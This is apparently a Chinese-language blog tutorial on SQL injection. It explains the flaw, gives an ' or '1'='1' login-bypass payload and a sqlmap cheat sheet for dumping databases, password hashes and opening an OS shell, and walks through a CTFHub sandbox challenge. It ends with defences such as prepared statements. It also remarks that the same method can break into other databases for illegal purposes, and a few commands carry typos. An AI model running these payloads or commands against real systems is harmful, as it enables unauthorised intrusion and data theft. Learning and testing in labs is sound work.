sql注入漏洞和sqlmap的使用

目录

什么是sql漏洞:

sql语言:

数据库和网页用户请求的原理:

sql注入原理:

sql注入检测:

sql注入检测工具:

实例演示:

漏洞防御


什么是sql漏洞:


这边采用了皮卡丘的sql漏洞的概述:
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

sql语言:


在了解sql漏洞之前,我们首先得要对于sql语言有一定的了解,sql语言是数据库查询语言,可以帮助我们对于数据库进行增删改查等等操作。sql语言可以大致分为以下六类:

1、数据查询语言(DQL):用以从表中获得数据。
常用保留字:SELECT,WHERE,ORDER BY,GROUP BY,HAVING

2、数据操作语言(DML):用于添加、修改、删除表中的行
常用保留字:INSERT,UPDATE,DELETE

3、事务控制语言(TCL):确保被DML语句影响的表的所有行及时得以更新。
常用保留字:COMMIT,SAVE POINT,ROLLBACK

4、数字控制语言(DCL):通过GRANT或者REVOKE实现权限控制,确定单个用户和用户组对数据库对象的访问。

5、数字定义语言(DDL):在数据库中创建新表或修改、删除表。
常用保留字:CREATE,ALERT,DROP

6、指针控制语言(CCL):通过DECLARECURSOR,FETCH INTO 和 UPDATE WHERE CURRENT 用于对一个或多个表单独行的操作

数据库和网页用户请求的原理:


我们用户是如何通过客户端来访问数据库从数据库中得到数据的原理是我们了解sql注入漏洞的前提。
如果说有一个网站访问者bob,他想要查看一篇文章id为10086的文章:
step1、客户端就会向脚本引擎发出请求
step2、脚本引擎获取参数id的值为10086,然后动态构造sql语句:SELECT FROM ARTICLE WHERE id=10086
step3、数据库收到该sql语句,在article中查询id为10086的所有记录,并且会返回所有查询到的记录。
step4、脚本引擎会处理返回的所有记录,例如过滤并且编码特殊字符等,生成静态网页并且返回给客户端
step5、客户端最后会将这个静态网页展示给用户

sql注入原理:


在了解了数据库查询的原理后,我们差不多就可以明白sql注入的本质了,就是使用sql拼接方法,可注入恶意sql语句改变原本语句的实行逻辑
比如本来有一句

select *from usrs where usrname =‘$usrname' and password ='$password'

我们就可以通过拼接进行sql语句攻击,下面一句就是最常用的攻击方式,这种攻击可以使得该语句恒成立,改变了执行逻辑,可以绕过密码进行登录,原理就是and的优先级比or的优先级大。

select *from usrs where uername='admin' or '1' = '1' and password ='1'

sql注入检测:


sql注入检测分为两大部分:
a、寻找sql注入
b、确认sql注入

寻找sql注入又分为三个步骤:
1、识别web应用与数据库交互的可能输入,也就是识别潜在注入点:这边的潜在注入点可能存在于各种地方,其中主要位于以下几个部分:

get请求参数
post请求参数
cookie
x-forwarded-for
user-agent
referer
host

2、sql注入语句测试
3、根据服务器返回判别注入语句是否影响了sql执行结果以判断是否存在sql注入

sql注入检测工具:


sqlmap可以说是sql注入检测最方便的一款软件,通过终端就可以进行sql漏洞的检测,该工具采用了六种漏洞检测方法来对sql漏洞进行分析:分别是
布尔盲注 、 时间盲注 、基于报错的注入 、基于联合查询 基于多条SQL语句(堆叠注入) 、 非应用内通信注入,比如DNSLog

常用的语句如下:

sqlmap  -u  URL    			    检查注入点
sqlmap  -u  URL  --dbs 		    列出数据库中所有数据库的名字
sqlmap  -u  URL  --is-dba  	    当前用户是否是数据库管理员
sqlmap  -u  URL  --current-db	显示当前数据库的名字
 
-D					            指定数据库
--tables			            列出所有表名
qlmap  -u URL -D "xx"  --tables         列出xx数据库中的所有表
 
-T					            指定一个表
--columns			            列出所有的字段名
qlmap  -u  URL  -D "xx"  -T  "cc"  --columns     列出表中所有的字段名
 
-C					            指定一个字段名
--dump				            列出字段内容
qlmap  -u  URL  -D "xx"  -T  "cc"   -C  "x,x,.."  --dump     列出字段内容(-T ,-C之类的要用大写不然有时候会读不出来)
 
sqlmap -r a.txt -p username     倒入txt文档的post数据包,并指定参数username进行注入
 
--dbms mysql                    指定注入的数据类型为mysql数据库
  
--os-shell                      尝试写入shell 
 
sqlmap -u url --batch --smart   自动聪明的选择,即执行的时候不需要我们再手动的进行选择yes或者no(但是由于机器自动进行选择,所以有时候结果会不一样比如没有结果,所以建议少使用)
 
--force-ssl                     测https的时候
 
--cookie "cookie值"             有些网站要登录才行,所以需设置cookie
--threads=10                    开启多线程,默认是单线程为1,最大10。线程越大检测速度越快
--users                         获取mysql数据库管理用户,mysql安装时会默认有一个root用户,除了这个用户可能还会创建有其他用户,这个参数可以将这些用户列出了
--passwords                     获取mysql数据库管理用户的hash值

实例演示:

我的是mac电脑,用的语言可能和windows有所出入,但是大致一样

这边选择的ctfhub的sql报错漏洞,几乎所有的都可以这样做:

 

 首先将地址复制,然后检查注入点:

sqlmap -u url

这边的id是一个注入点,所以继续查询数据库中所有数据库的名字:

sqlmap -u URL  --batch --dbs

 

这边的上面三个数据库是自带的数据库,后面的sqli是新的数据库,那么flag应该就在里面

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1 
-D sqli --batch --tables

 

flag现在在这个里面的一个table

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1 
-D sqli -T flag --columns

 

最后查询这个字段内容就行了

sqlmap -u http://challenge-74e8503906f5124f.sandbox.ctfhub.com:10800/\?id=1
 -D sqli -T flag -C flag --dump

 

这边这道题的flag也就拿到了

同样的方式我们就可以入侵其他数据库去进行很多非法的活动了。

漏洞防御

对于这种最常见的漏洞防御方式也很多,比如限制数据类型、设置waf等等

但是最根本上解决这个问题的应该是预编译语句

学习之路漫漫兮,相见不易,求赞求关注!

猜你喜欢

转载自blog.csdn.net/hmysn/article/details/125663182